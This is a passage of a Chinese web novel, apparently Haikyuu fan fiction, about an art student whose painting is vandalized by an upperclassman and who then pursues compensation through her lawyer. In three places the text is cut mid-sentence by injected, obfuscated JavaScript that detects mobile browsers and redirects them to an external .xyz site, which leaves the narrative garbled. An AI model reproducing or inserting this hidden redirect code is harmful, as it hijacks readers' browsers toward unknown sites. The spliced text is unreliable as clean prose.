少年侧脸的脸型也十分的优秀,鼻梁高挺,线条流畅,额前的黑色碎发柔顺,低头往前走时,发丝微微晃动着,偶尔还有几缕被风吹起。 经过有路灯的那一段路,柔和的灯光像是为他的轮廓镶上了一圈朦胧的边,让他看上去毛茸茸的。 像是觉得我盯着他看的时间有些久了,影山侧头看过来,深蓝色的眼眸如同今晚的夜幕,其中也如同天空一般,缀满了碎钻般的繁星。 那柔和的光芒和亮晶晶的眼眸让他看上去实在是过于好看,我下意识移开视线,而后又忍不住重新看向他。 影山迷茫地歪了歪头,问:“怎么了?” 好、好像狗狗歪头。 我忍不住又盯着他看了好一会儿,而少年像是并不明白我为什么一直看着他却并不说话,表情越发疑惑,甚至还朝我伸出了他那只指骨分明的手。 少年比我高许多,手又大,朝我伸手时像是可以将我眼前的天空都遮住。 然后他从我的头上捏起了什么东西。 我看到他将那片粉白色的画板捏到我面前,没仔细看,便对我说:“好厉害,桃沢,你的头皮好大一块。” “……” 我在短暂的沉默之后,突然就笑了。 一记上勾拳打在了少年的下巴上,我吼道:“这很明显就是花瓣吧笨蛋!” 这完美的怒音甚至在空无一人的黑暗街道上回响着,久久没有消散。 影山被我一拳揍得仰起头,呆了好一会儿,才回过神来,仔细地看了看手里那过于柔软的粉白色花瓣,挠挠头,说:“啊。” “你在啊什么啊!” “不、不是,它和你的发色有点像,我以为……” “明明完全不一样,它更白啊!” “所以,那个,头皮……” 我举起拳头:“给我的头发道歉!” 影山老实巴交:“对不起。” 我这才放下手,咬牙切齿地用力哼一声,扭头继续往前走。 没礼貌,真是没礼貌! 我刚刚还觉得他帅呢,转头他就说了那么冒昧的话。 我的头发可是从小被人夸到大的漂亮的樱粉色,而且也有在好好护理,根本就不可能会有这么大一块头皮屑。 说到底,一个健康的脑袋也不会有这种头皮屑……笨蛋影山,真是一点常识都没有! 走了一会儿发现影山似乎没有跟上来,我有些不耐地回身去找人,却见少年正弯着腰,从地上最厚的那一堆粉白色里捏住了什么东西。 我开始怀疑是不是因为刚刚我揍他了,所以他现在要用花瓣砸我报复回来。 ……不然,我现在就跑吧?这样他就逮不着我了。 影山很快就杵在了我面前。 他每次都不知道自己站在我面前沉着一张脸的时候压迫感很强,我只能后退一步,防备地看着他:“你要做什么?” “我找到了这个。”影山的手掌摊开,躺在他手心中的是一朵完整的樱花。 粉白色的花瓣保存得十分完好,其中延伸出细细的花蕊,简直和从枝头上摘下的美丽花朵没什么两样。 少年的视线在我耳侧一转,随后捏着花瓣,将细细的花柄插.入发间,似乎是一次没有成功,他微微俯身,再次凑近了一些,将挂在发丝上的花朵摆正位置。 这个过程没有持续很久,我甚至只是浅浅闻见了他身上清爽的味道,他就与我拉开了距离。 “当做是道歉的赔礼。” 背后的路灯将他的轮廓照得毛茸茸的,影山就这么顶着一张帅脸,做了这么浪漫的事情,说了这么浪漫的话。 我的动作顿了顿,抬手触碰到了发间柔软的花瓣。 这家伙…… 显得我刚刚对他动手,多像个坏人似的。 我一时间有些扭捏,放下触碰到花瓣的那只手,小声说:“我的头发说,她原谅你了。” 说完这句话,我抬头看着他微红的下巴,柔软的指腹碰了碰那片浅红,轻轻点点:“还有,刚刚,对不起。” 影山因为这句话猛地一愣,连眼睛都不可思议地瞪圆了一些,像是整个人被什么击中了似的,如同夜幕的瞳孔又坠上了闪烁的星星。 被这种热切灼伤,我抿着嘴角,先一步移开视线看向别处。 真是笨蛋一个。 …… 没错,我真是笨蛋一个。 我早就应该料想到,阿月对我现在画的东西起了强烈的好奇心。 小忠是不会那么冒昧的,他虽然也很想知道我的副业,但只要我不说,他就会遏制住自己的探索欲,等到我能主动告诉他的那一天。 但阿月不是啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696096|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这小子比我还坏,没有什么事情是做不出来的! 他在午休吃完饭后,把我支去买饮料,中途发消息给我,问我有没有带平板,他想查点资料。 这种便利的画画工具我当然是随时随地带着的,但他要查资料,就得等我回来开个网络。 我当真是以为他要查资料的! 结果当我回来,看到他已经运用自己聪明的大脑解开了我的密码,还点开了我的绘画软件时,我天都塌了。 大概是没想到他点进去就是一张非常劲爆的内容,月岛萤的表情看上去内心受到了十分强烈的冲击。 他只来得及在第一时间按下锁屏,将少儿不宜的东西全都困死在黑掉的屏幕里,可那过于奔放的画面却无孔不入地钻入了他的脑海,并不断地冲刷着他的认知。 这种反应是没法骗人的,我一眼就知道他偷看我画稿了。 如果记得没错,那是一幅插图,一幅,我回馈粉丝的福利插图。 可想而知内容有多劲爆。 我有点心虚,心虚促使我先声夺人:“你怎么偷看人隐私啊!” 月岛萤先是低头看了一眼已经黑屏的电子产品,想到刚刚看到的东西,黑着脸说:“我一点它就蹦出来了。” “你看我绘画软件干什么!” “……你要是不画那些东西,会怕我看?” 我:“……” 额,这个嘛…… 月岛萤闭上眼睛,一只手扶住额头,他有点不知道自己该说什么,这毕竟是好友的爱好,只不过这个爱好从少年恋爱变成了无法预料的内容。 头痛了半天,他重新抬起头来,深吸了一口气,问我:“你为什么画的这么熟练?” 我对着手指,小声说:“我有两个木质关节人偶,一个8寸的,一个12寸的。” 他的表情一言难尽,但目光直击灵魂:“人的身体结构不是只靠人偶就能画出来的,你老实告诉我,你是不是……” “!”我顿时瞪大了眼睛。 他想到哪里去了! 我连忙摆手:“我没有啊!我冤枉!我自己就是女生,我可以看我自己啊!” “那男生……” 我又对起了手指:“我有一个模特。” 什么模特? 月岛萤又扶住了自己的额头。 他觉得他不能再问下去。 沉默了半晌,他只能最后问出一个最令他关心的问题:“合法吗?” “合、合法啊。”我不知道他为什么会这么问,想了想,又补充一句:“你放心,我没有用钱威逼利诱,对方是自愿的。” 月岛萤越听越危险,看我的眼神都不对劲起来。 “真的!美术学院有时候也会请裸.模来画画!我真是合法的!” “……” 他第三次扶住了自己的额头。 果然…… 对于好友的自爆,月岛萤表示意料之中又情理之外。 不是,她才多大啊……就学会包男模了?? 他稳住自己岌岌可危的三观,面无表情地对我说:“你还是少和混迹风月场的人接触吧,单纯的学生是玩不过牛郎的。” 说完这句话,月岛萤又想起那些沉迷牛郎却没有钱,被迫下.海当陪.酒女的新闻,他忍不住为好友所担忧。 他喃喃道:“这件事情得告诉阿姨吧……” “我妈知道他有在当我的模特。”我尝试和他解释:“而且他也不是牛郎……” 月岛萤依旧面无表情。 我闭嘴。 ……算了。 我改口:“我知道了。” “真的别再联系那个牛郎了啊!” “我知道了。” “真的啊!” “知道了啊笨蛋阿月!” 21.二十一条鱼 最近在班上有一个八卦。 嗯?为什么我和班上的同学相处的并不亲密,我却知道他们之间流传的八卦? 人的天性就是爱吃瓜,就算是并不亲密的关系,瓜都传到一年级来了,我就算是路过,都能被班上最爱八卦的同学喂一口。 啊,不过他们特地告诉我,其中还真有缘由。 据说是高三有一位学长过不久就会转学去国外,原本这并不是什么大新闻,但因为转学的时间太奇怪,这位学长流传在学生间的传闻也有许多,所以这次的转学消息才会传到一年级来。 “说起来,那个学长之前还是绘画社的副社长呢,参加过很多绘画比赛。”女生问我:“桃沢有在社团碰见过他吗?长得如何?” 我摇摇头:“没见过他。” 怪不得前段时间会有新的副社长上任,原来是前任要转学了。 “诶,真可惜,据说他被称为是‘乌野的绘画王子’呢。”她继续说:“可惜开学前几天他伤到手,这几个星期都不见首尾的。” 不愧是班上负责情报收集的信息委员,这消息比我灵通太多了。 也许是因为我一问三不知,关于那位学长的事情我们没有聊很久。 不过她难得能和我聊到一起,我的反应又还算捧场,信息委员和我说了好多八卦,直到上课铃声响,她才意味犹尽地结束了话题,乖乖坐回自己位置上。 当然,这些八卦只能当个乐子听听,除去这个,我注意到了更让我觉得不对劲的事情。 ——山口忠最近的心情,好像不太好。 和阿月不一样,小忠是我们之中情绪最稳定的人。 之前他时常为远在东京的我担忧,心情低落过一段时间,但自从我回到宫城后,我基本就没见过他不高兴的样子。 就算是所有的加入排球部的一年级新生只有他一个人没有被选做首发球员,他也不会像现在这样,空闲的时候总摸着球看向远处发呆,时时刻刻都在思索着什么。 我没有直接去问小忠,而是先迂回地问了问月岛萤和日向翔阳以及影山。 几个人的说法不同,关注点不同,但都不约而同地提到了一个事件:大概在几天前,排球部来了一位新教练,他在上任的当天组织了一场交流赛。 那场比赛打的非常精彩,上场的人收获良多,就连一直没有回归排球部的“谷学长”和“旭前辈”都解开了心结,重新加入了排球部。 一切似乎都听起来是个大团圆剧情,为什么小忠最近却多了很多忧虑? 这种问题追问阿月准没错。 果然,月岛萤在听了我的描述后,纵使脸上的表情有些不耐烦,但还是好好地回答了我:“是觉得自己能力不足吧,他似乎最近有去找町内会的前辈学习,看样子,似乎进度并不理想。” 得到了一个准确的分析,我松开揪着阿月的手,煞有其事地点点头。 如果说只有他一个一年级生没有上场,他最多只是想鼓足劲加油获得正选资格,那么在一段时间的努力之后仍然没有达到既定的目标,失落当然是不可避免的。 得让小忠重新振作起来才行。 月岛萤斜眼看我,对我说:“你还是先想想之后的黄金周假期怎么办吧,我们要合宿,你呢?” 被他这么一提醒,我翻了翻日历。 黄金周之前参赛的作品就会上交,等到了放假的那几天,我应该会很闲。 没有人不喜欢放假,我想到自己可以在家里躺四天就感觉爽的没边。 “打算在家躺四天?”他问。 “……” 被戳穿心思,我整个人一僵,讪笑着说:“怎么会呢,哈哈,我当然是准备去找个健身房了。” 真该死,休息一天这死小子都会和我妈打小报告。 他包打视频电话查我岗的。 我可不想一天到晚待在健身房里,还得想个法子名正言顺地偷懒。 不过令人意外的是,还没有等到黄金周假期的到来,我的作品却出了一些意外。 那天时间已经不早了,我打算去洗个手就收拾东西去等阿月他们一起回家。 去厕所的路上我看见还有一间美术教室的灯是亮着的,我很好奇这个时间还有谁没走,往那边靠近时,却听见了里面隐约的对话声。 是学姐的声音,还有一个我不熟悉的男声。 我没有偷听的习惯,正想走远一些,却听到学姐提到了我的名字: “你别动不动就和我提到桃沢,谁都不知道她会在这个时间来乌野,一切都是巧合。” 还有我的事? 我动作一顿,靠近了一些。 “你可把自己摘的真干净。”男生刻意压低了自己的音量,但语气却更显得愤怒:“难道你没存依附她获得胜利拿奖学金的心思吗?” 岛崎学姐有些不耐烦:“朝仓,你别总是和我说重复的话,我已经说过了,你不知道自己会在转学前扭到手,我也不知道会有职业画家出现在我们学校,就算是桃沢不去,就你现在这个状态,你也画不了画吧?” “我让更厉害的人和我一起去比赛有什么问题吗?就算你的手没有受伤,你的名额我也是要给桃沢的,有能力才有能多机会,这个道理谁都懂吧?” “……” 美术教室里陷入了短暂的沉默。 半晌,朝仓的声音再次响起:“……你说过,我留在乌野的最后一个月,会是我们最后一次的并肩作战,你怎么可以骗她和你一起参赛。” “骗她参赛?”岛崎学姐冷笑了一声,“我不想说了,你走吧,去好好准备你的事情。” 有细微的脚步声响起,我心里一惊,连忙选了个最近的教室进去躲着。 后面两个人又起了一些争执,但是话题和我没有太大的关系了。 美术教室的灯光熄灭,他们关了门,两个人不欢而散。 脚步声愈行愈远,我没有着急出去,手在门把上停留了好一会儿,才偷偷摸摸地探了个头出去。 走廊上空空荡荡的,只有月光将茂盛的树干印在地上的倒映,那扇窗户没有关,有风将小小一瓣的花瓣带进了走廊,铺在他们刚刚走过的地面上。 只可惜,这样美丽的地毯无人欣赏,当时只有两颗愤怒的心脏在胸膛里狂跳。 …… 这次无意中听见的对话,只能算作是一个小插曲。 虽然他们在争执中提到了我的名字,但实际上这件事和我一点关系都没有,我也完全不想卷入前辈们的爱恨情仇当中。 就这样无事发生地度过了两天。 今天社团活动我没有去绘画社。 因为我的画差不多已经完成了,明天是最后一天时间交画,学姐说,我社团活动结束前给她就行。 还在想自己放学之后要不要去学校隔壁的甜品店坐坐打发一下时间,结果月岛萤长手一捞,直接给我带到了体育馆里坐下。 他将我安置在一个板凳上,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699785|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手按着我的肩膀,对我说:“既然你不去社团,就老老实实待在这里,等我训练结束。” 我抬头看他,语气夸张:“哇,你好霸道啊,我一定要一直待在这里吗?连上厕所都要马桶自己来找我吗?” 月岛萤无语:“你有病吗。” 路过的菅原孝支怀里抱着篮球,看到我,眼睛明显亮了亮,脸上带着笑意过来和我打招呼:“好久不见,桃沢同学,今天来排球部玩呀?” 我立刻喊他:“菅原学长好。” 他嘴角咧了咧,伸手摸了摸毛茸茸的粉色脑袋。 我的头被他摸得左摇右晃,但还是没忘记回答他的问题:“最近要画的画快画完了,今天想休息一下。会打扰到大家吗?” 这一幕刚好被晚到一步的影山看到。 他头发都快飞起来了,几步来到菅原孝支身边,从他身后探出个头,直直地盯着菅原孝支放在我头顶的手背上。 菅原孝支收回手,笑着说:“当然不会了,待会儿我们教练也会来,你可以和乌养教练一起看我们训练。” 影山的视线还在我头上打转。 月岛萤和山口忠见我和学长们相处的还比较融洽,放下心来去活动室换衣服。 排球部的成员在我和菅原学长聊天时陆陆续续来到了排球部,其中有两个十分眼生的,我想那应该就是朋友们经常提起的“谷学长”和“旭前辈”。 其中一个个子有些矮,小小的一张脸上有着看上去十分锐利的双眼,额头一抹金色的挑染更显他性格的不羁,走路时背挺得很直,步子也迈得很大,倒是从动作到气质都有一种男子汉的气概,他应该就是日向总提在嘴边的“谷学长”。 另外一位倒是长得高大,头发用一根皮筋团在脑袋后面,他的五官有些粗犷,下巴还有些胡茬,以我的视角来看,他好像比影山长得还凶,就像是一位社会大哥。 他倒是和日向对“旭前辈”那些“性格温和,心思细腻,很好相处”的评价有些不太符合…… 第三个生面孔则是一个穿着黑色套装运动服的金发青年,他额前的碎发全都被发箍固定,露出额头,鬓发则是黑色,不难看出是把头发染成金色的。 所以这位就是菅原学长说的乌养教练吧? 恕我直言,东峰前辈和乌养教练站在一起,我以为他们是同龄人……当然这句话我是绝对不会说出口的,我求生欲很强,我怕挨东峰前辈的拳头。 等到所有人到齐,菅原学长也要过去训练了。 刚刚影山一直围在这里没走,我其实注意到了他好像有话和我说,只是碍于学长在这里他不好开口,可这会儿菅原学长都走了,他还是站在这里,眼巴巴地看着我。 我和他互盯了一会儿,最后实在是没忍住,问道:“你要干嘛?” 影山一脸严肃,看了看自己的手,又看了看我的头,又看了看自己的手,然后缓缓朝我的头顶伸过来。 我一秒看穿他的意图,脑袋往旁边躲的同时,还抬手拍开了他的手背。 “……” QVQ 少年捂着被拍红的手背,垂着脑袋看着我,还心存一丝渺茫的希冀。 我的心超硬,见他还没放弃,又抬起了手作势要拍他。 影山抿了抿嘴角,连肩膀都垮塌下去,转身走开。 这个背影,居然看上去还有几分落寞,几分孤单,几分悲伤,几分委屈。 哼,该! 他别想碰我的头! 22.二十二条鱼 排球部的训练有条不紊地进行着,所有人都全身心地投入在运动中,体育场里响起的只有运动鞋在地板上摩擦的声音、排球砸在地板上的声音,以及乌养教练做出提醒的声音。 我许久没来看阿月和小忠打排球了,偶尔来一次欣赏一下运动少年们挥洒热血的模样,倒也看的津津有味的。 体育馆外的阳光由金黄一点一点变成橘黄,再一点一点暗淡下去,太阳也挂在地平线上,要坠不坠的。 一直沉浸在室内沉浸在训练中的少年们注意不到窗外时间的变化,我却看的真切。 想着应该差不多了,我从口袋里摸出手机,点开屏幕边缘的小窗口,直接进入了一个视频通话界面。 屏幕上出现的画面很简单,是靠在窗边,被防尘布盖住的一个画架。 白色的防尘布在微暗的阳光下看上去颜色也偏暗,有风吹进来时,白布的尾端轻轻晃着,周遭一片安静,似乎今天并没有人留在美术教室里画画。 想想也是,平常也就只有我和岛崎学姐才会在教室里留那么晚,今天我不在绘画社,岛崎学姐也会早些回家。 她的画昨天就已经完成了,那也是我最后一次帮她改画。 学姐在绘画上很有天赋,最后的几笔不是我动的手,是她在听完我的改进建议后自己画的。 光源和阴影做出改进后,画面一下子就对味起来,堆砌在一起的颜色一层又一层,每一次下笔都会让画面更为细致精美。 那幅画,得奖应该是没问题的。 我支着下巴,眼睛看着球场,脑袋里想着别的事情,偶尔才看一眼手机。 屏幕上的画面一直都没什么变化。 差不多又过了一个小时,场上的训练已经接近尾声,太阳也彻底躲在了地下,换上一轮月亮挂在天边,带来森白的幽幽亮光,什么都看得隐隐约约,并不真切。 等到现在还是无事发生,那应该就是我小人之心了吧,也许没有那么多的阴谋论,我应该相信学姐和学长的人品。 我暗自松了口气。 “怎么在叹气?” 山口忠拿起放在我旁边的水杯,视线下意识划过我的手机屏幕,问道:“玩游戏输了?” “啊,没有没有,刚刚在和梦野老师聊天呢。”我把手机往旁边藏了藏,“你们训练完了?” 他顿了顿,露出一个笑容,回答道:“对,已经结束了,不过还要打扫一下卫生,小桃得再等等我们。” “没关系,你们先忙去吧。” “嗯嗯。” 山口忠放下水壶,又回去球场拖地。 我等他走远了,才把手机摸出来,打算挂掉视频电话。 就在这时,我听到无线耳机里传来一阵极有规律的脚步声。 许是觉得整栋楼都应该没有人了,来人并没有可以放轻脚步,而是大大方方地走来,闯入了镜头中,来到了窗边的画架旁。 少年穿着一身黑的中山装校服,侧对着镜头,容貌有些模糊,但依稀可以辨认出,他是上次我在美术教室门口差点撞上的那个男生。 他在画架边停留片刻,伸手掀掉了搭在画架上的防尘布。 借着月光,他看见了那副尚未完成的画作。 饶是心有不甘,朝仓也必须承认,这是一幅只需一眼就能给人以震撼的画作。 他知道这次的主题,“繁花”。 他也看过岛崎的作品,宛如春天重新出现在面前,朵朵繁花盛开,百花齐放,层层叠叠,令人迷醉,更像是能引来蝴蝶,以假乱真。 而这幅画上画的并不是花,而是女性。 有骑在马上,审批铠甲,手持弓箭与薙刀的女武将;有身着白衣绯袴,一头黑发被白色檀纸束起的巫女,有头戴华冠的女天皇;也有穿着华丽十二单,梳着发髻的女权臣。 最奇妙的是,不同时代的她们同时出现在一张画布上,时间的洪流并没有让她们产生割裂感,属于女性的柔美,以及那温和中又深藏着锐利的坚毅眼眸将她们紧紧地系在了一起,看上去十分和谐。 画家过硬的绘画功底让整幅画面有着油画的丰富色彩和厚重质感,又带着些华丽诡谲的浮世绘风格,色彩的运用简直让人感叹一句出神入化。 朝仓握着画笔的手微微颤抖着。 他是想将这幅作品毁坏的。 可,他现在有些下不去手了。 少年的胸口剧烈起伏,像是在做着某种挣扎,颤抖的手并不是因为激动,而是在自己与自己在做着拉扯,不只是手,整条手臂的肌肉都紧绷着。 在不知道第几次的深呼吸中,他猛地举起右手,抬头紧紧盯着那副画。 是岛崎背叛他在先……这幅画、这幅画,只要破坏了它,她们就无法参赛了。 此时,有一团云朵离开了月亮远行,露出了更多如霜的冷光。 清秀的面容绷起了青筋,如同一只恶鬼悄无声息地爬上了人类的身体。 长着尖锐指甲的鬼手抓住了人类的手腕,用吞噬人类意志的恶念,引导着人类用红色的颜料染上画面中面容沉静包容却始终锐利的女性。 这一举动好像耗费了他所有的力气。 少年佝偻着身子,剧烈地喘息着,就连肩膀都上下起伏着,大口大口地吸入已经凉下来的空气。 他花了许多时间冷静。 半晌,他带走了沾染红色颜料的画笔,盖上洁白的防尘布,遮住了那副被染上红色的画作。 “……” 我捂着下半张脸,久久不能回神。 手指机械地结束了录屏,等那阵脚步声越走越远,直至彻底听不见后,才挂断了和line小号的视频通话。 人类真是一种可怕的生物。 明明我与他素不相识……如果非要扯上关系,也只是在几周前,我们曾经在美术教室外有过一面之缘。 这种手段我不是没见过。 曾经说过,在线下的比赛中,甚至在正规的考试中,恶念总是会促使一些人做出一些不可理喻的事情。 ……我甚至和朝仓学长都不是竞争关系,他明天就要转学去国外了。 “小桃?” 一只手伸到我面前晃了晃。 我下意识抬起头,入目是山口忠担忧的目光。 他关切地问我:“你怎么了?脸色不太好的样子,没事吧?” “我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705018|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我刚要开口,嘴唇又抿了抿手指,将倾诉的欲.望咽下去,摇摇头,说:“没事。” 山口忠依旧没有放心,抬手在我后脑勺上轻抚几下。 奇异的是,他什么都没说,动作也没有多特别,却让我逐渐平复下来,恢复了冷静。 “我有东西落在美术教室了。”我微微抬头,看他:“你和阿月能陪我去拿一下吗?” 山口忠当然是答应了。 这次去不会碰上任何人的。 怕挂断视频后手机的亮光会在黑暗中引起朝仓学长的注意,我是等听不见脚步声后再挂断的。 从这里到艺体楼要五分多钟快十分钟的样子,朝仓学长现在估计满脑子都是做了坏事要快速逃离现场,所以等我们到美术教室,朝仓学长应该已经走出很远了。 一路用手机打灯上楼,进了教室我也没有开灯,而是继续用手机的光照路,在教室后面的书架上找到了我的备用机。 月岛萤这才察觉到有不对劲的地方,他看了一眼那手机上还连着充电宝,摆放的位置工整,不像乱放,明显不是不小心落下的。 他眉头紧紧蹙起,站在书架前回头看向教室里摆放的画架。 在大概的环视中,他锁定了窗边那个唯一盖了防尘布的画架,二话不说走过去,一把将防尘布掀开。 “!” 镜片后面的眼睛一下子睁大,在短暂的震惊之后,那双从来都平平淡淡的眼眸里,瞬间被怒火淹没。 山口忠也不敢相信地倒吸了一口凉气,快步来到画架旁边,想要伸手触碰,却又不敢碰:“好过分……” “这是你的画?”月岛萤回头问我。 我点点头。 他看到我刚刚备用机的位置,推了推眼镜,压下火气,又问:“你早就知道今天有人会来毁你的画?” “嗯,要动手的话,也就只有这几天了,昨天岛崎学姐的画刚完成,已经锁在了活动室里好好保管,明天他要转学去国外,所以大概率是今天,下手的也只能是我这副。”我如此回答。 “弄坏了你的东西,明天就可以一走了之,打的算盘倒是好。”月岛萤看着画布上刺眼的红色颜料,越生气越冷静:“去告老师,把他先留下来,不能就这么算了。” “没关系的。”我说。 “什么没关系!”月岛萤咬牙切齿:“你要是和我说,你打算放过他,我真的会骂你。” “啊,不是。”我被他凶到,声音小了一些:“我的意思是,他的护照和在留卡,我今天就了联系校长,以防万一给他扣下来了,明天他是走不掉的。” 听我这样说,月岛萤安静了一瞬,又问我:“你打算怎么办?” “先交涉吧,给他档案留个痕。”我对了对手指,声音还是很小:“如果他不和我道歉的话,我只能报警了。” 月岛萤:“……报警有用吗?” 我:“不用担心,阿月,我的律师说,如果起诉的话,至少是三年以上七年以下有期呢。” 山口忠:“=口=” 月岛萤:“……” 已经到这个地步了吗?你直接上律师? ……好像,瞬间就不担心了。 23.二十三条鱼 事情的进展比我料想的还要顺利。 朝仓学长没像我预测的那样干完这一票就跑路,他很聪明,第二天他不仅来了学校,他还带来了他的家长。 我在校长室里见到了他的父母。 父亲穿着一套笔挺的黑色,母亲则是穿着上白下黑的休闲职业套,看上去都不是那种跋扈的性格……当然,坐在他们中间的朝仓学长也长相纯良,和昨天疯狂毁坏我作品的疯子简直判若两人。 两位成年人表情难堪地和我一边解释一遍道歉。解释过后我才知道,原来是朝仓学长干完坏事回家,心里不安,觉得有愧,支支吾吾地告诉了他们事情经过,他们才知道他们儿子做了这么恶劣的事情。 “实在是抱歉,桃沢同学。”朝仓学长放在膝盖上的拳头紧紧地握着,眼睛通红,每一个字几乎都是从牙缝里挤出来的:“我是,一时冲昏了头脑,才毁了你的画,对不起,请你原谅我。” 咬牙切齿的呢。 他不是觉得自己做错了,他是在担心不能顺利转学。 不过,和我没什么关系,悔过这种东西虚无缥缈,我要看到实质的歉意。 “我接受你的道歉。”我如此说道。 他没想到我松口松的那么快,刚有些惊喜,就听我继续说:“既然你态度诚恳,我们来谈谈赔偿吧。” “什……”他瞪圆了发红的眼睛,肉眼可见整张脸黑下来:“赔偿?你打算要多少?” “费用在这里,请过目。” 朝仓抢过去粗略看了一眼,表情没什么变化:“五万円是吧,待会儿我转给你。” “不是日元。”我笑着说:“是美元。” “哈?!你怎么不去抢啊??” 两位家长的脸色也有些难看,男人说:“一副参赛作品而已,这种赔偿是否有点太过分了?” 我眉梢一挑,又笑了一声:“过分?” “桃沢同学,这件事情确实是他做的不对,但他是真的认识到自己的错误了。”女人拉了拉丈夫的衣袖,将他拉到身后去,赔笑道:“不如这样,你的家长今天有空吗?我们准备了一些歉意,希望可以好好传达给你和你的家长。” 我看着这位母亲,眼里的情绪沉淀下来。 半晌后,我轻轻呼出一口气,如同看垃圾一样看了朝仓一眼:“我果然还是不喜欢你,败类。” 接下来不用我继续在场了,我也不想和他们多费口舌。 为了防止出现对方胡搅蛮缠的情况发生,我很有先见之明的让我的律师桑岛美代小姐随时待命。 而早在昨天晚上,我把这件事情原原本本讲给她听的时候,她就已经做好了万全的准备,就等着今天可以大杀四方。 我合上校长室的门,也将朝仓“桃沢绘里!!”的吼叫声隔绝在了房间里。 等在门口的阿月和小忠同时皱起眉头,小忠上下打量我片刻,拉住我的手,关切道:“他们有没有为难你?还好吗?” “还好,接下来让美代姐和他们谈就行。”我反过来拍拍他的手背:“放心啦,没事的。” 月岛萤问我:“你一点都不害怕吗?” “害怕……”我不明所以地看向他:“做错事的不是我,我为什么要害怕?” 月岛萤沉默下来。 好像有什么变了。 他从小和桃沢一起长大,小时候的桃沢性格外向,整条街都遍布她的朋友,像是日向那个笨蛋,总是时时刻刻散发着善意,也很能容忍小孩子莫名其妙得到任性,只要是不过分的要求,她都会答应别人。 绘里不喜欢与人争吵,她总是说,吃点小亏没有关系,人生不过三万天,如若每天都在为一个玩具,一个零食和别人发生矛盾,她唯一能够好好享受快乐的童年,也会变得十分不纯粹,只剩下痛苦和矛盾。 在桃沢阿姨找到他,非常郑重地拜托他一定好好照顾绘里时,他还以为绘里还是那个需要人关心保护的小女孩。 但现在似乎变得有些不一样了。 曾经那个受了委屈只能不知所措躲在树下哭的女孩,现在已经变得比骑士还要更强大。 他伸手按在对方的头顶,将那双眼睛也一同遮盖住:“既然没事,那先回教室上课吧。” “啊,今天我请假了,我不准备去教室。”我说:“我要去美术教室,先去看看我的画。” 当然要先去看看我的画了。 我想仔细看看那孩子,被弄坏成了什么样。 …… 人的消息传播速度真的很快。 在并没有被刻意制止的情况下,仅仅是半天时间,朝仓学长损坏别人作品,将要面临巨额罚款的八卦不胫而走,许多人都在议论这件事情。 岛崎一开始并不知道发生了什么,直至午休才通过同学的八卦知道朝仓居然会头脑发热到这种地步。 别人不知道被害者是谁,她却隐隐有所猜测。 嘴里香喷喷的饭菜一瞬间便失去了味道,她艰难地眼下了这一口饭,剩下的来不及吃,便匆忙地跑到一年级4班寻找当事人。 “桃沢?” “啊,桃沢今天没来呢。” “她在美术教室。” “是哦,好像是听说她在美术教室。” 美术教室。 岛崎气都来不及喘匀,马不停蹄地又跑去了艺体楼。 “唰——” 她大力地拉开美术教室的推拉门,一只手扶着门框,一只手扶着膝盖,呼吸急促。 而美术教室里的女生则是动作不紧不慢地整理着罩在画架上的防尘布,每一个褶皱她都在细心抚平,就好像这是罩在新娘头上的薄纱,打理地认真,嘴里还哼着她没听过的曲子。 “桃沢!” 听到学姐在喊我,我这才回过头,看向有些狼狈的漂亮学姐。 来的真快。 我朝她露出一个笑容,温声道:“怎么跑的这么急?学姐,找我有什么事吗?” “我、我听说你的画被人破坏了,来看看。”岛崎喘了口气,朝我靠近了几步:“成什么样了?我能看看吗?抱歉,居然发生了这种事,我才知道……” “她被画上了红色颜料,被毁坏的很彻底。”我怜爱地透过防尘布摸了摸画布的棱角,说:“朝仓学长怎么忍心下得去手,不过没事的,我会帮她向那个凶手要回赔偿的,她不会白白受伤。” “听说要赔很多钱?” “换算成日元的话,要五百多万。” 饶是有心理准备,岛崎还是被这个数字吓到:“五、五百多万??这么多吗?桃沢,这只是一幅画而已,只是一副参赛作品,是不是要的有点太多了?他会赔吗?” “当然会了,我可是录下了全过程,他还能怎么狡辩?” “……这是不是侵犯隐私了?你在教室里装了摄像头?” “我只是有记录自己画画过程的习惯,只不过刚好昨天回家的时候不小心将手机落下了,录像也没关,恰好就录下了朝仓学长的恶性,怎么是侵犯隐私呢?” 说到这里,我顿了顿,又笑道:“还有,谁说那是参赛作品了?那是我要放在画室里售卖的画。” “什么意思?那你的参赛作品没出问题?”岛崎松了口气,夸赞道:“你是不是事先转移了?还好你聪明,明天可就要交画去比赛了,如果被毁坏,你现在画也来不及。” “我的意思是,我不想参赛了。” 